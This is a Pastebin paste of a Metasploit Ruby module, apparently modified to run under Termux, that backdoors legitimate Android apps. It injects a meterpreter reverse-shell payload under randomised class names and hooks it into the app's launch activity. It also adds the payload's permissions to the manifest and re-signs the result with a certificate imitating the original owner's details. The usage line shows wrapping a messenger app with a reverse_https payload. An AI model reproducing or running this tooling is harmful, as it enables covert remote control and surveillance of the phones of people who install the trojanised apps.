Hax4Us

Untitled

Aug 18th, 2017
200
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.25 KB | None | 0 0
  1. # -*- coding: binary -*-
  2.  
  3. require 'msf/core'
  4. require 'rex/text'
  5. require 'tmpdir'
  6. require 'nokogiri'
  7. require 'fileutils'
  8. require 'optparse'
  9. require 'open3'
  10. require 'date'
  11.  
  12. class Msf::Payload::Apk
  13.  
  14. def print_status(msg='')
  15. $stderr.puts "[*] #{msg}"
  16. end
  17.  
  18. def print_error(msg='')
  19. $stderr.puts "[-] #{msg}"
  20. end
  21.  
  22. alias_method :print_bad, :print_error
  23.  
  24. def usage
  25. print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
  26. print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
  27. end
  28.  
  29. def run_cmd(cmd)
  30. begin
  31. stdin, stdout, stderr = Open3.popen3(cmd)
  32. return stdout.read + stderr.read
  33. rescue Errno::ENOENT
  34. return nil
  35. end
  36. end
  37.  
  38. # Find a suitable smali point to hook
  39. def find_hook_point(amanifest)
  40. package = amanifest.xpath("//manifest").first['package']
  41. application = amanifest.xpath('//application')
  42. application_name = application.attribute("name")
  43. if application_name
  44. return application_name.to_s
  45. end
  46. activities = amanifest.xpath("//activity|//activity-alias")
  47. for activity in activities
  48. activityname = activity.attribute("targetActivity")
  49. unless activityname
  50. activityname = activity.attribute("name")
  51. end
  52. category = activity.search('category')
  53. unless category
  54. next
  55. end
  56. for cat in category
  57. categoryname = cat.attribute('name')
  58. if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
  59. name = activityname.to_s
  60. if name.start_with?('.')
  61. name = package + name
  62. end
  63. return name
  64. end
  65. end
  66. end
  67. end
  68.  
  69. def parse_manifest(manifest_file)
  70. File.open(manifest_file, "rb"){|file|
  71. data = File.read(file)
  72. return Nokogiri::XML(data)
  73. }
  74. end
  75.  
  76. def fix_manifest(tempdir, package, main_service, main_broadcast_receiver)
  77. #Load payload's manifest
  78. payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
  79. payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
  80.  
  81. #Load original apk's manifest
  82. original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
  83. original_permissions = original_manifest.xpath("//manifest/uses-permission")
  84.  
  85. old_permissions = []
  86. add_permissions = []
  87.  
  88. original_permissions.each do |permission|
  89. name = permission.attribute("name").to_s
  90. old_permissions << name
  91. end
  92.  
  93. application = original_manifest.xpath('//manifest/application')
  94. payload_permissions.each do |permission|
  95. name = permission.attribute("name").to_s
  96. unless old_permissions.include?(name)
  97. add_permissions += [permission.to_xml]
  98. end
  99. end
  100. add_permissions.shuffle!
  101. for permission_xml in add_permissions
  102. print_status("Adding #{permission_xml}")
  103. if original_permissions.empty?
  104. application.before(permission_xml)
  105. original_permissions = original_manifest.xpath("//manifest/uses-permission")
  106. else
  107. original_permissions.before(permission_xml)
  108. end
  109. end
  110.  
  111. application = original_manifest.at_xpath('/manifest/application')
  112. receiver = payload_manifest.at_xpath('/manifest/application/receiver')
  113. service = payload_manifest.at_xpath('/manifest/application/service')
  114. receiver.attributes["name"].value = package + '.' + main_broadcast_receiver
  115. receiver.attributes["label"].value = main_broadcast_receiver
  116. service.attributes["name"].value = package + '.' + main_service
  117. application << receiver.to_xml
  118. application << service.to_xml
  119.  
  120. File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
  121. end
  122.  
  123. def parse_orig_cert_data(orig_apkfile)
  124. orig_cert_data = Array[]
  125. keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile '#{orig_apkfile}'")
  126. owner_line = keytool_output.match(/^Owner:.+/)[0]
  127. orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
  128. orig_cert_data.push("#{orig_cert_dname}")
  129. valid_from_line = keytool_output.match(/^Valid from:.+/)[0]
  130. from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip
  131. to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip
  132. from_date = DateTime.parse("#{from_date_str}")
  133. orig_cert_data.push(from_date.strftime("%Y/%m/%d %T"))
  134. to_date = DateTime.parse("#{to_date_str}")
  135. validity = (to_date - from_date).to_i
  136. orig_cert_data.push("#{validity}")
  137. return orig_cert_data
  138. end
  139.  
  140. def backdoor_apk(apkfile, raw_payload)
  141. unless apkfile && File.readable?(apkfile)
  142. usage
  143. raise RuntimeError, "Invalid template: #{apkfile}"
  144. end
  145.  
  146. #Vishal bhai yaha se mene edit kiya hai.
  147. keytool = run_cmd("LD_LIBRARY_PATH=/data/data/com.termux/files/openjdk/lib/arm /data/data/com.termux/files/openjdk/bin/keytool")
  148. unless keytool != nil
  149. raise RuntimeError, "keytool not found. If it's not in your PATH, please add it."
  150. end
  151.  
  152. #jarsigner = run_cmd("jarsigner")
  153. #unless jarsigner != nil
  154. #raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it."
  155. #end
  156.  
  157. zipalign = run_cmd("zipalign")
  158. unless zipalign != nil
  159. raise RuntimeError, "zipalign not found. If it's not in your PATH, please add it."
  160. end
  161.  
  162. apktool = run_cmd("apktool -version")
  163. unless apktool != nil
  164. raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
  165. end
  166.  
  167. apk_v = Gem::Version.new(apktool)
  168. unless apk_v >= Gem::Version.new('2.0.1')
  169. raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1."
  170. end
  171.  
  172. #Create temporary directory where work will be done
  173. tempdir = Dir.mktmpdir
  174.  
  175. keystore = "#{tempdir}/signing.keystore"
  176. storepass = "android"
  177. keypass = "android"
  178. keyalias = "signing.key"
  179. orig_cert_data = parse_orig_cert_data(apkfile)
  180. orig_cert_dname = orig_cert_data[0]
  181. orig_cert_startdate = orig_cert_data[1]
  182. orig_cert_validity = orig_cert_data[2]
  183.  
  184. print_status "Creating signing key and keystore..\n"
  185. run_cmd("keytool -genkey -v -keystore #{keystore} \
  186. -alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA \
  187. -keysize 2048 -startdate '#{orig_cert_startdate}' \
  188. -validity #{orig_cert_validity} -dname '#{orig_cert_dname}'")
  189.  
  190. File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload }
  191. FileUtils.cp apkfile, "#{tempdir}/original.apk"
  192.  
  193. print_status "Decompiling original APK..\n"
  194. run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original")
  195. print_status "Decompiling payload APK..\n"
  196. run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
  197.  
  198. amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
  199.  
  200. print_status "Locating hook point..\n"
  201. hookable_class = find_hook_point(amanifest)
  202. smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali"
  203. smalifiles = Dir.glob(smalifile)
  204. for smalifile in smalifiles
  205. if File.readable?(smalifile)
  206. hooksmali = File.read(smalifile)
  207. break
  208. end
  209. end
  210.  
  211. unless hooksmali
  212. raise RuntimeError, "Unable to find hook point in #{smalifile}\n"
  213. end
  214.  
  215. entrypoint = 'return-void'
  216. unless hooksmali.include? entrypoint
  217. raise RuntimeError, "Unable to find hookable function in #{smalifile}\n"
  218. end
  219.  
  220. # Remove unused files
  221. FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali"
  222. FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
  223.  
  224. package = amanifest.xpath("//manifest").first['package']
  225. package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
  226. classes = {}
  227. classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
  228. classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
  229. classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize
  230. package_slash = package.gsub(/\./, "/")
  231. print_status "Adding payload as package #{package}\n"
  232. payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
  233. payload_dir = "#{tempdir}/original/smali/#{package_slash}/"
  234. FileUtils.mkdir_p payload_dir
  235.  
  236. # Copy over the payload files, fixing up the smali code
  237. payload_files.each do |file_name|
  238. smali = File.read(file_name)
  239. smali_class = File.basename file_name
  240. for oldclass, newclass in classes
  241. if smali_class == "#{oldclass}.smali"
  242. smali_class = "#{newclass}.smali"
  243. end
  244. smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass)
  245. end
  246. smali.gsub!(/com\/metasploit\/stage/, package_slash)
  247. newfilename = "#{payload_dir}#{smali_class}"
  248. File.open(newfilename, "wb") {|file| file.puts smali }
  249. end
  250.  
  251. payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V
  252.  
  253. ^ + entrypoint
  254. hookedsmali = hooksmali.sub(entrypoint, payloadhook)
  255.  
  256. print_status "Loading #{smalifile} and injecting payload..\n"
  257. File.open(smalifile, "wb") {|file| file.puts hookedsmali }
  258.  
  259. injected_apk = "#{tempdir}/output.apk"
  260. aligned_apk = "#{tempdir}/aligned.apk"
  261. print_status "Poisoning the manifest with meterpreter permissions..\n"
  262. fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
  263.  
  264. print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
  265. run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
  266. unless File.readable?(injected_apk)
  267. raise RuntimeError, "Unable to rebuild apk with apktool"
  268. end
  269.  
  270. print_status "Signing #{injected_apk}\n"
  271. run_cmd("jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore #{keystore} -storepass #{storepass} -keypass #{keypass} #{injected_apk} #{keyalias}")
  272. print_status "Aligning #{injected_apk}\n"
  273. run_cmd("zipalign 4 #{injected_apk} #{aligned_apk}")
  274.  
  275. outputapk = File.read(aligned_apk)
  276.  
  277. FileUtils.remove_entry tempdir
  278. outputapk
  279. end
  280. end
Advertisement
Add Comment
Please, Sign In to add comment